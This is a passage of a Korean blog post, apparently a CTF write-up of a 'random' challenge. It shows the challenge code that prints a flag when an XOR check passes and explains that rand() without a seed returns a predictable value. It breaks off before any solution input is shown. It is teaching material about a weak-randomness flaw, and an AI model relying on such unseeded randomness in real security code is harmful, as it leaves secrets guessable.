href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;key^random == 0xdeadbeef이면 flag를 보여주고 프로그램을 종료한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&amp;nbsp;(key&amp;nbsp;^&amp;nbsp;random)&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0xdeadbeef&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;)&amp;nbsp;{&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Good!\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;system(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;/bin/cat&amp;nbsp;flag&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&quot;Wrong, maybe you should try 2^32 cases.\n&quot;을 출력한다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;Wrong,&amp;nbsp;maybe&amp;nbsp;you&amp;nbsp;should&amp;nbsp;try&amp;nbsp;2^23&amp;nbsp;case.\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;);&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;난수를 생성하는 함수는 대표적으로 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;srand()&lt;/span&gt; 함수와 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;rand()&lt;/span&gt; 함수가 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;srand() 함수는 &lt;span style=&quot;background-color: rgb(250, 244, 192);&quot;&gt;seed&lt;/span&gt;를 설정할 수 있지만 rand()는 seed를 설정할 수 없다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;seed가 있고 없고는 난수 생성에서 엄청난 차이가 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;seed를 설정하면, 몇 번을 실행해도 같은 값이 나오지 않지만 seed가 없으면 똑같은 값이 나오기 때문이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;아래의 예제를 보고 쉽게 이해해보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;소스코드는 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;div class=&quot;colorscripter-code&quot; style=&quot;color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; position:relative !important; overflow:auto&quot;&gt;&lt;table class=&quot;colorscripter-code-table&quot; style=&quot;margin:0; padding:0; border:none; background-color:#272727; border-radius:4px;&quot; cellspacing=&quot;0&quot; cellpadding=&quot;0&quot;&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td style=&quot;padding:6px; border-right:2px solid #4f4f4f&quot;&gt;&lt;div style=&quot;margin:0; padding:0; word-break:normal; text-align:right; color:#aaa; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;1&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;2&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;3&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;4&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;5&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;6&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;7&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;8&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;9&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;10&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;11&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;12&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;13&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;14&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;15&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;16&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;padding:6px 0&quot;&gt;&lt;div style=&quot;margin:0; padding:0; color:#f0f0f0; font-family:Consolas, 'Liberation Mono', Menlo, Courier, monospace !important; line-height:130%&quot;&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdio.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;stdlib.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;time.h&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;main(){&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;unsigned&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;int&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;random;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;random&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;rand();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;random&amp;nbsp;value!&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;random:&amp;nbsp;%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;random);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;srand(time(&lt;/span&gt;&lt;span style=&quot;color: rgb(0, 134, 179); font-size: 14pt;&quot;&gt;NULL&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;));&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;random&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color:#aaffaa&quot;&gt;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;rand();&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(153, 153, 153); font-size: 14pt;&quot;&gt;//&amp;nbsp;s_random&amp;nbsp;value!&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(75, 230, 250); font-size: 14pt;&quot;&gt;printf&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 213, 0); font-size: 14pt;&quot;&gt;&quot;s_random:&amp;nbsp;%d\n&quot;&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;,&amp;nbsp;random);&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(255, 51, 153); font-size: 14pt;&quot;&gt;return&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;color: rgb(193, 10, 255); font-size: 14pt;&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;;&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;}&lt;/span&gt;&lt;/div&gt;&lt;div style=&quot;padding:0 6px; white-space:pre; line-height:130%&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;/div&gt;&lt;/div&gt;&lt;div style=&quot;text-align:right; margin-top:-13px; margin-right:5px; font-size:9px; font-style:italic&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;color:#4f4f4f; text-decoration:none&quot;&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;Colored by Color Scripter&lt;/span&gt;&lt;/a&gt;&lt;/div&gt;&lt;/td&gt;&lt;td style=&quot;vertical-align:bottom; padding:0 2px 4px 0&quot;&gt;&lt;a href=&quot;http://colorscripter.com/info#e&quot; target=&quot;_blank&quot; style=&quot;text-decoration:none; color:white&quot;&gt;&lt;span style=&quot;font-size: 14pt; word-break: normal; background-color: rgb(79, 79, 79); color: white; border-radius: 10px; padding: 1px;&quot;&gt;cs&lt;/span&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;/div&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;
&lt;/span&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;실행화면은 아래와 같다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p style=&quot;text-align: left; clear: none; float: none;&quot;&gt;&lt;span class=&quot;imageblock&quot; style=&quot;display: inline-block; width: 662px;  height: auto; max-width: 100%;&quot;&gt;&lt;img src=&quot;https://t1.daumcdn.net/cfile/tistory/99FE8D455BE05B3D14&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Ft1.daumcdn.net%2Fcfile%2Ftistory%2F99FE8D455BE05B3D14&quot; width=&quot;662&quot; height=&quot;174&quot; filename=&quot;이미지 004.png&quot; filemime=&quot;image/jpeg&quot; style=&quot;&quot;/&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random 값은 항상 고정되고 s_random 값은 항상 바뀌는 것을 확인할 수 있다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;random 문제도 역시 random 값은 고정될 것이다.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 14pt;&quot;&gt;이제 문제를 풀어보자.&lt;/span&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;span style=&quot;font-size: 